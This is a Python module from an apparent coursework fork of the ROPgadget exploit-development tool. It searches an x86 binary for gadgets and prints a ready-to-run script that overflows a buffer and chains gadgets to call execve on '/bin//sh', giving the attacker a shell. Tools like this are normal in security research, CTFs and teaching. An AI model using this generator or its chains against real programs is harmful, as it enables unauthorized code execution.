security-cw/ROPgadget/ropgadget/ropchain/arch/ropmakerx86.py
Liam Dalgarno 1bc6bc2cda Fill in ropchain padding automatically
Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
2020-11-25 18:55:01 +00:00

235 lines
9.1 KiB
Python

#!/usr/bin/env python2
## -*- coding: utf-8 -*-
##
## Jonathan Salwan - 2014-05-13
##
## http://shell-storm.org
## http://twitter.com/JonathanSalwan
##
import re
from capstone import *
class ROPMakerX86(object):
def __init__(self, binary, gadgets, paddingLen, liboffset=0x0):
self.__binary = binary
self.__gadgets = gadgets
self.paddingLen = paddingLen
# If it's a library, we have the option to add an offset to the addresses
self.__liboffset = liboffset
self.__generate()
def __lookingForWrite4Where(self, gadgetsAlreadyTested):
for gadget in self.__gadgets:
if gadget in gadgetsAlreadyTested:
continue
f = gadget["gadget"].split(" ; ")[0]
# regex -> mov dword ptr [r32], r32
regex = re.search("mov dword ptr \[(?P<dst>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))\], (?P<src>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))$", f)
if regex:
lg = gadget["gadget"].split(" ; ")[1:]
try:
for g in lg:
if g.split()[0] != "pop" and g.split()[0] != "ret":
raise
# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "":
raise
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
return [gadget, regex.group("dst"), regex.group("src")]
except:
continue
return None
def __lookingForSomeThing(self, something):
for gadget in self.__gadgets:
lg = gadget["gadget"].split(" ; ")
if lg[0] == something:
try:
for g in lg[1:]:
if g.split()[0] != "pop" and g.split()[0] != "ret":
raise
# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "":
raise
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
return gadget
except:
continue
return None
def __padding(self, gadget, regAlreadSetted):
lg = gadget["gadget"].split(" ; ")
for g in lg[1:]:
if g.split()[0] == "pop":
reg = g.split()[1]
try:
print("p += pack('<I', 0x%08x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
except KeyError:
print("p += pack('<I', 0x41414141) # padding")
def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
sects = self.__binary.getDataSections()
dataAddr = None
for s in sects:
if s["name"] == ".data":
dataAddr = s["vaddr"] + self.__liboffset
if dataAddr == None:
print("\n# [-] Error - Can't find a writable section")
return
print("#!/usr/bin/env python2")
print("# execve generated by ROPgadget\n" )
print("from struct import pack\n")
print("import sys")
print()
print("out_file = sys.argv[1]")
print()
print("p = b'" + ('A' * self.paddingLen) + "'\n")
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
self.__padding(popDst, {})
print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
print("p += b'/bin'")
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
self.__padding(write4where, {})
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
print("p += pack('<I', 0x%08x) # @ .data + 4" %(dataAddr + 4))
self.__padding(popDst, {})
print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
print("p += b'//sh'")
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr + 4}) # Don't overwrite reg dst
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
self.__padding(write4where, {})
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
self.__padding(popDst, {})
print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
self.__padding(xorSrc, {})
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
self.__padding(write4where, {})
print("p += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"]))
print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
self.__padding(popEbx, {})
print("p += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"]))
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
print("p += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"]))
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
self.__padding(popEdx, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
print("p += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"]))
self.__padding(xorEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
for i in range(11):
print("p += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"]))
self.__padding(incEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
print("p += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"]))
print()
print(r"""
with open(out_file, "wb") as f:
f.write(p)
""")
def __generate(self):
# To find the smaller gadget
self.__gadgets.reverse()
print("\n# ROP chain generation\n# ===========================================================")
print("\n# - Step 1 -- Write-what-where gadgets\n")
gadgetsAlreadyTested = []
while True:
write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
if not write4where:
print("# [-] Can't find the 'mov dword ptr [r32], r32' gadget")
return
popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
if not popDst:
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
gadgetsAlreadyTested += [write4where[0]]
continue
popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
if not popSrc:
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
gadgetsAlreadyTested += [write4where[0]]
continue
xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
if not xorSrc:
print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2]))
gadgetsAlreadyTested += [write4where[0]]
continue
else:
break
print("\n# - Step 2 -- Init syscall number gadgets\n")
xorEax = self.__lookingForSomeThing("xor eax, eax")
if not xorEax:
print("# [-] Can't find the 'xor eax, eax' instruction")
return
incEax = self.__lookingForSomeThing("inc eax")
if not incEax:
print("# [-] Can't find the 'inc eax' instruction")
return
print("\n# - Step 3 -- Init syscall arguments gadgets\n")
popEbx = self.__lookingForSomeThing("pop ebx")
if not popEbx:
print("# [-] Can't find the 'pop ebx' instruction")
return
popEcx = self.__lookingForSomeThing("pop ecx")
if not popEcx:
print("# [-] Can't find the 'pop ecx' instruction")
return
popEdx = self.__lookingForSomeThing("pop edx")
if not popEdx:
print("# [-] Can't find the 'pop edx' instruction")
return
print("\n# - Step 4 -- Syscall gadget\n")
syscall = self.__lookingForSomeThing("int 0x80")
if not syscall:
print("# [-] Can't find the 'syscall' instruction")
return
print("\n# - Step 5 -- Build the ROP chain\n")
self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)